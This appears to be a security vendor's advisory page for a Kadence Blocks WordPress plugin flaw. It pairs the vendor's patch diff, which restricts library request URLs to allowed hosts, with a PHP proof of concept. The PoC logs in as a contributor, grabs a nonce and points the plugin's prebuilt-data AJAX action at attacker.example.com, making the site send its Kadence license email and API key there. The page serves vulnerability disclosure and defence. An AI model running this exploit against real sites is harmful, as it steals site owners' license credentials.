 		$this->key                      = empty( $_POST['key'] ) ? 'section' : sanitize_text_field( $_POST['key'] );
 		$this->is_template              = isset( $_POST['is_template'] ) && ! empty( $_POST['is_template'] ) ? true : false;
+		if ( empty( $this->url ) ) {
+			wp_send_json( esc_html__( 'No library data', 'kadence-blocks' ) );
+		}

 		// $removed = $this->delete_block_library_folder();
 		// if ( ! $removed ) {
--- a/kadence-blocks/includes/class-kadence-blocks-table-of-contents.php
+++ b/kadence-blocks/includes/class-kadence-blocks-table-of-contents.php
@@ -933,7 +933,7 @@
 		$output = '<nav class="' . esc_attr( $class ) . ( $enable_toggle ? ' kb-collapsible-toc kb-toc-toggle-' . ( $start_closed ? 'hidden' : 'active' ) : '' ) . '" role="navigation" aria-label="' . esc_attr__( 'Table of Contents', 'kadence-blocks' ) . '"' . ( $enable_scroll ? ' data-scroll-offset="' . esc_attr( $scroll_offset ) . '"' : '' ) . ( isset( $attributes['enableScrollSpy'] ) && true === $attributes['enableScrollSpy'] ? ' data-scroll-spy="true"' : '' ) . '>';
 		$output .= '<div class="kb-table-of-content-wrap">';
 		if ( ! isset( $attributes['enableTitle'] ) || isset( $attributes['enableTitle'] ) && $attributes['enableTitle'] ) {
-			$output .= '<div class="kb-table-of-contents-title-wrap kb-toggle-icon-style-' . ( $enable_toggle && isset( $attributes['toggleIcon'] ) && $attributes['toggleIcon'] ? $attributes['toggleIcon'] : 'arrow' ) . '">';
+			$output .= '<div class="kb-table-of-contents-title-wrap kb-toggle-icon-style-' . esc_attr( $enable_toggle && isset( $attributes['toggleIcon'] ) && $attributes['toggleIcon'] ? $attributes['toggleIcon'] : 'arrow' ) . '">';
 			if ( $title_toggle ) {
 				$output .= '<button class="kb-table-of-contents-title-btn kb-table-of-contents-toggle" aria-expanded="' . esc_attr( $start_closed ? 'false' : 'true' ) . '" aria-label="' . ( $start_closed ? esc_attr__( 'Expand Table of Contents', 'kadence-blocks' ) : esc_attr__( 'Collapse Table of Contents', 'kadence-blocks' ) ) . '">';
 			}
--- a/kadence-blocks/includes/resources/Traits/API_Url_Trait.php
+++ b/kadence-blocks/includes/resources/Traits/API_Url_Trait.php
@@ -95,4 +95,117 @@
 	protected function get_starter_get_url(): string {
 		return $this->get_starter_base_url() . '/wp-json/kadence-starter/v1/get/';
 	}
+
+	/**
+	 * Resolve the starter-template sites base URL with override.
+	 *
+	 * KADENCE_BLOCKS_TEMPLATE_SITES_BASE_URL constant, otherwise production default.
+	 *
+	 * @since 3.7.8.1
+	 */
+	protected function get_template_sites_base_url(): string {
+		$url = defined( 'KADENCE_BLOCKS_TEMPLATE_SITES_BASE_URL' ) && KADENCE_BLOCKS_TEMPLATE_SITES_BASE_URL
+			? KADENCE_BLOCKS_TEMPLATE_SITES_BASE_URL
+			: 'https://startertemplatecloud.com';
+		return rtrim( (string) $url, '/' );
+	}
+
+	/**
+	 * Whether a URL points at one of the Kadence library hosts.
+	 *
+	 * @since 3.7.8.1
+	 *
+	 * @param string $url The URL to check.
+	 */
+	protected function is_kadence_api_url( string $url ): bool {
+		$host = wp_parse_url( $url, PHP_URL_HOST );
+
+		if ( empty( $host ) ) {
+			return false;
+		}
+
+		$allowed = array_filter(
+			[
+				wp_parse_url( $this->get_patterns_base_url(), PHP_URL_HOST ),
+				wp_parse_url( $this->get_starter_base_url(), PHP_URL_HOST ),
+				wp_parse_url( $this->get_template_sites_base_url(), PHP_URL_HOST ),
+			]
+		);
+
+		return in_array( $host, $allowed, true );
+	}
+
+	/**
+	 * The library URLs saved in the cloud connection settings.
+	 *
+	 * @since 3.7.8.1
+	 *
+	 * @return string[]
+	 */
+	protected function get_saved_library_urls(): array {
+		$settings = json_decode( (string) get_option( 'kadence_blocks_cloud' ), true );
+		$urls     = [];
+
+		if ( ! empty( $settings['connections'] ) && is_array( $settings['connections'] ) ) {
+			foreach ( $settings['connections'] as $connection ) {
+				if ( ! empty( $connection['url'] ) ) {
+					$urls[] = rtrim( (string) $connection['url'], '/' );
+				}
+			}
+		}
+
+		return $urls;
+	}
+
+	/**
+	 * Resolve a requested library URL into a full endpoint URL.
+	 *
+	 * Only the Kadence library hosts and the saved cloud connections are
+	 * allowed as request targets.
+	 *
+	 * @since 3.7.8.1
+	 *
+	 * @param string $requested The requested library URL.
+	 * @param string $endpoint  The endpoint path to append.
+	 * @param string $fallback  Returned when no library URL was requested.
+	 *
+	 * @return string Empty string when the requested URL is not allowed.
+	 */
+	protected function resolve_library_url( string $requested, string $endpoint, string $fallback = '' ): string {
+		$requested = rtrim( trim( $requested ), '/' );
+
+		if ( '' === $requested ) {
+			return $fallback;
+		}
+
+		if ( $this->is_kadence_api_url( $requested ) || in_array( $requested, $this->get_saved_library_urls(), true ) ) {
+			return $requested . $endpoint;
+		}
+
+		return '';
+	}
+
+	/**
+	 * Resolve a requested library URL for a connection lookup.
+	 *
+	 * Adding a connection to a new library is limited to users who can manage
+	 * the connection settings.
+	 *
+	 * @since 3.7.8.1
+	 *
+	 * @param string $requested The requested library URL.
+	 * @param string $endpoint  The endpoint path to append.
+	 *
+	 * @return string Empty string when the requested URL is not allowed.
+	 */
+	protected function resolve_connection_url( string $requested, string $endpoint ): string {
+		$url = $this->resolve_library_url( $requested, $endpoint );
+
+		if ( '' === $url && current_user_can( 'manage_options' ) ) {
+			$requested = rtrim( trim( $requested ), '/' );
+			$url       = '' === $requested ? '' : $requested . $endpoint;
+		}
+
+		return $url;
+	}
 }
--- a/kadence-blocks/kadence-blocks.php
+++ b/kadence-blocks/kadence-blocks.php
@@ -5,7 +5,7 @@
  * Description: Advanced Page Building Blocks for Gutenberg. Create custom column layouts, backgrounds, dual buttons, icons etc.
  * Author: Kadence WP
  * Author URI: https://www.kadencewp.com
- * Version: 3.7.8
+ * Version: 3.7.8.1
  * Requires PHP: 7.4
  * Text Domain: kadence-blocks
  * License: GPL2+
@@ -20,7 +20,7 @@
 }
 define( 'KADENCE_BLOCKS_PATH', realpath( plugin_dir_path( __FILE__ ) ) . DIRECTORY_SEPARATOR );
 define( 'KADENCE_BLOCKS_URL', plugin_dir_url( __FILE__ ) );
-define( 'KADENCE_BLOCKS_VERSION', '3.7.8' );
+define( 'KADENCE_BLOCKS_VERSION', '3.7.8.1' );

 /**
  * Plugin basename, e.g. "kadence-blocks/kadence-blocks.php".
--- a/kadence-blocks/vendor/composer/installed.php
+++ b/kadence-blocks/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'kadencewp/kadence-blocks',
-        'pretty_version' => '3.7.8',
-        'version' => '3.7.8.0',
-        'reference' => '1aa7a45a1f7a64ced56fcf57d595cf2a530bac17',
+        'pretty_version' => '3.7.8.1',
+        'version' => '3.7.8.1',
+        'reference' => 'aee44d94934adb1f8953767aa96047137816c842',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -47,9 +47,9 @@
             'dev_requirement' => false,
         ),
         'kadencewp/kadence-blocks' => array(
-            'pretty_version' => '3.7.8',
-            'version' => '3.7.8.0',
-            'reference' => '1aa7a45a1f7a64ced56fcf57d595cf2a530bac17',
+            'pretty_version' => '3.7.8.1',
+            'version' => '3.7.8.1',
+            'reference' => 'aee44d94934adb1f8953767aa96047137816c842',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
--- a/kadence-blocks/vendor/vendor-prefixed/autoload.php
+++ b/kadence-blocks/vendor/vendor-prefixed/autoload.php
@@ -19,4 +19,4 @@

 require_once __DIR__ . '/composer/autoload_real.php';

-return ComposerAutoloaderInit92b3cffb5143a5f64698f5f85d5414ba::getLoader();
+return ComposerAutoloaderInit52cc7f545a393c45a887c332557d6102::getLoader();
--- a/kadence-blocks/vendor/vendor-prefixed/composer/autoload_real.php
+++ b/kadence-blocks/vendor/vendor-prefixed/composer/autoload_real.php
@@ -2,7 +2,7 @@

 // autoload_real.php @generated by Composer

-class ComposerAutoloaderInit92b3cffb5143a5f64698f5f85d5414ba
+class ComposerAutoloaderInit52cc7f545a393c45a887c332557d6102
 {
     private static $loader;

@@ -24,17 +24,17 @@

         require __DIR__ . '/platform_check.php';

-        spl_autoload_register(array('ComposerAutoloaderInit92b3cffb5143a5f64698f5f85d5414ba', 'loadClassLoader'), true, true);
+        spl_autoload_register(array('ComposerAutoloaderInit52cc7f545a393c45a887c332557d6102', 'loadClassLoader'), true, true);
         self::$loader = $loader = new KadenceWPKadenceBlocksComposerAutoloadClassLoader(dirname(__DIR__));
-        spl_autoload_unregister(array('ComposerAutoloaderInit92b3cffb5143a5f64698f5f85d5414ba', 'loadClassLoader'));
+        spl_autoload_unregister(array('ComposerAutoloaderInit52cc7f545a393c45a887c332557d6102', 'loadClassLoader'));

         require __DIR__ . '/autoload_static.php';
-        call_user_func(KadenceWPKadenceBlocksComposerAutoloadComposerStaticInit92b3cffb5143a5f64698f5f85d5414ba::getInitializer($loader));
+        call_user_func(KadenceWPKadenceBlocksComposerAutoloadComposerStaticInit52cc7f545a393c45a887c332557d6102::getInitializer($loader));

         $loader->setClassMapAuthoritative(true);
         $loader->register(true);

-        $filesToLoad = KadenceWPKadenceBlocksComposerAutoloadComposerStaticInit92b3cffb5143a5f64698f5f85d5414ba::$files;
+        $filesToLoad = KadenceWPKadenceBlocksComposerAutoloadComposerStaticInit52cc7f545a393c45a887c332557d6102::$files;
         $requireFile = Closure::bind(static function ($fileIdentifier, $file) {
             if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) {
                 $GLOBALS['__composer_autoload_files'][$fileIdentifier] = true;
--- a/kadence-blocks/vendor/vendor-prefixed/composer/autoload_static.php
+++ b/kadence-blocks/vendor/vendor-prefixed/composer/autoload_static.php
@@ -4,7 +4,7 @@

 namespace KadenceWPKadenceBlocksComposerAutoload;

-class ComposerStaticInit92b3cffb5143a5f64698f5f85d5414ba
+class ComposerStaticInit52cc7f545a393c45a887c332557d6102
 {
     public static $files = array (
         'dfdcea4d84cc56c3d81598b2472a5a5d' => __DIR__ . '/..' . '/symfony/polyfill-php80/bootstrap.php',
@@ -1304,9 +1304,9 @@
     public static function getInitializer(ClassLoader $loader)
     {
         return Closure::bind(function () use ($loader) {
-            $loader->prefixLengthsPsr4 = ComposerStaticInit92b3cffb5143a5f64698f5f85d5414ba::$prefixLengthsPsr4;
-            $loader->prefixDirsPsr4 = ComposerStaticInit92b3cffb5143a5f64698f5f85d5414ba::$prefixDirsPsr4;
-            $loader->classMap = ComposerStaticInit92b3cffb5143a5f64698f5f85d5414ba::$classMap;
+            $loader->prefixLengthsPsr4 = ComposerStaticInit52cc7f545a393c45a887c332557d6102::$prefixLengthsPsr4;
+            $loader->prefixDirsPsr4 = ComposerStaticInit52cc7f545a393c45a887c332557d6102::$prefixDirsPsr4;
+            $loader->classMap = ComposerStaticInit52cc7f545a393c45a887c332557d6102::$classMap;

         }, null, ClassLoader::class);
     }
--- a/kadence-blocks/vendor/vendor-prefixed/composer/installed.php
+++ b/kadence-blocks/vendor/vendor-prefixed/composer/installed.php
@@ -2,9 +2,9 @@
   'root' =>
   array (
     'name' => 'kadencewp/kadence-blocks',
-    'pretty_version' => '3.7.8',
-    'version' => '3.7.8.0',
-    'reference' => '1aa7a45a1f7a64ced56fcf57d595cf2a530bac17',
+    'pretty_version' => '3.7.8.1',
+    'version' => '3.7.8.1',
+    'reference' => 'aee44d94934adb1f8953767aa96047137816c842',
     'type' => 'wordpress-plugin',
     'install_path' => __DIR__ . '/../',
     'aliases' =>

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-66696 - Kadence Blocks - Authenticated (Contributor+) Information Exposure

// Configure target WordPress site
$target_url = 'https://example.com';
$username = 'contributor_user';
$password = 'password';

// 1. Authenticate and get nonce
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1
);

$ch = curl_init($target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);
curl_close($ch);

// 2. Retrieve the admin page to obtain a valid nonce for the AJAX actions
$ch = curl_init($target_url . '/wp-admin/admin.php?page=kadence-blocks');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$page = curl_exec($ch);
curl_close($ch);

preg_match('/"_wpnonce":"([a-f0-9]+)"/', $page, $matches);
if (empty($matches[1])) {
    die('Failed to retrieve nonce');
}
$nonce = $matches[1];

// 3. Exploit the vulnerability in the 'prebuilt_data_ajax_callback' handler
// The 'action' matches the AJAX action, and 'url' points to an attacker-controlled server
$exploit_url = 'https://attacker.example.com';

$post_data = array(
    'action' => 'kadence_blocks_prebuilt_data',
    'security' => $nonce,
    'url' => $exploit_url
);

$ch = curl_init($target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

// The attacker's server will receive the following parameters in the POST request:
// - 'api_email' and 'api_key' (the site's Kadence license credentials)
// - 'key' (hardcoded as 'section')
// - 'site' (the target site's home URL)
echo $response;
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.